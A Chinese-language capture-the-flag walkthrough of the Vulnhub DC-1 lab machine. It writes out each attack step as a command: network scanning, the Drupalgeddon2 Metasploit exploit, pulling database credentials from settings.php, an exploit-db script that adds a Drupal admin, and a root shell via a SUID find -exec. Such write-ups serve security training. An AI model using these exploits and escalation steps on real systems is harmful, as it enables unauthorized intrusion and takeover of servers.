Vulnhub DC-1
靶场链接:
https://www.vulnhub.com/entry/dc-1,292/
一、信息收集
1、靶场界面如下:
2、使用arp-sacn探测同一区域中的存活主机
sudo arp-scan -l
可以锁定192.168.226.130为靶场IP。
3、使用nmap进行端口扫描
nmap -sS -v 192.168.226.130
4、发现22、80、111端口开放,进入到80端口查看网站信息。
可以发现其cms平台为Drupal。
二、漏洞查找与利用
1、使用Metasploit搜索drupal(进入/usr/bin路径下使用./msfconsole),利用msf搜索可用的exp。
2、选择Rank为excellent并且时间较新的模块,即第1个drupal_drupalgeddon2.
show options //查看该模块所有可用选项
三、getshell
1、返回一个shell,使用ls 可以看到flag1.txt
2、查看flag1
cat flag1.txt
翻译:每个好的CMS都需要一个配置文件,你也一样。
根据提示搜索drupal的默认配置文件:sites/default/settings.php
3、在配置文件中发现flag2
cat /var/www/sites/default/settings.php
“Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?”
翻译:暴力破解和字典攻击并非获得访问权限的唯一方式。你可以利用这些凭证做什么?
这些凭证即数据库的账号密码:
'username' => 'dbuser'
'password' => 'R0ck3t'
4、使用python反弹一个交互式shell,登陆数据库
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -p
5、查看数据库,在drupaldb库users表中发现admin用户
mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;
admin用户的密码被加密了,可以想办法破解密码或者修改密码或者新增一个admin权限的用户。
查看Drupal版本,确定Drupal版本为7.24
方法一:修改admin用户的密码
在Drupal 7的安装目录中的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。
参考:
https://blog.csdn.net/xieyanxy9/article/details/84118604
所以使用Drupal对数据库的加密方法,生成一个新密码,把新密码更新到admin用户即可。
hash: $S$D48yxVyxkkkLwhf.8OyR1AYgSJVx3DxtECZxJbhCzvQfGpE30Kb/
方法二:新增一个admin用户
利用漏洞库中给出的exp新增一个admin用户。
msf > searchsploit drupal
先复制漏洞库中给出的exp脚本,将复制出来的脚本粘贴到根目录下
cp /usr/share/exploitdb/exploits/php/webapps/34992.py ./
cat 34992.py #查看语法
python 34992.py -t http://192.168.226.130 -u kin -p kin
使用admin/kin 或者kin/kin成功登录后,点击find content,即可找到flag3。
“Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.”
根据flag3提示可以知道有/etc/passwd和/etc/shadow
- /etc/passwd 是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等。
- /etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。
- /etc/passwd 文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了/etc/shadow中。
- /etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。
而perms、find 、-exec是提权用的。
查看/etc/passwd,找到flag4。
cd /home/flag4
cat flag4.txt
“Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?”
尝试查看一下/etc/shadow,没有权限。
四、find提权&suid提权
1、find提权的前提条件是:目标用户下 /usr/bin/find 要有suid权限,sudi权限具有和root用户一样的权限能力。
$ find / -perm -u=s -type f 2>/dev/null #查找具有root权限的SUID的文件
可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
2、使用find命令提权
find ./ aaa -exec '/bin/sh' \;
# find 命令找到 ./ 下 aaa文件,如果没有,执行 -exec '/bin/sh' \;
# -exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的
# 考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠
获取第5个最终flag,成功走完了整个渗透流程。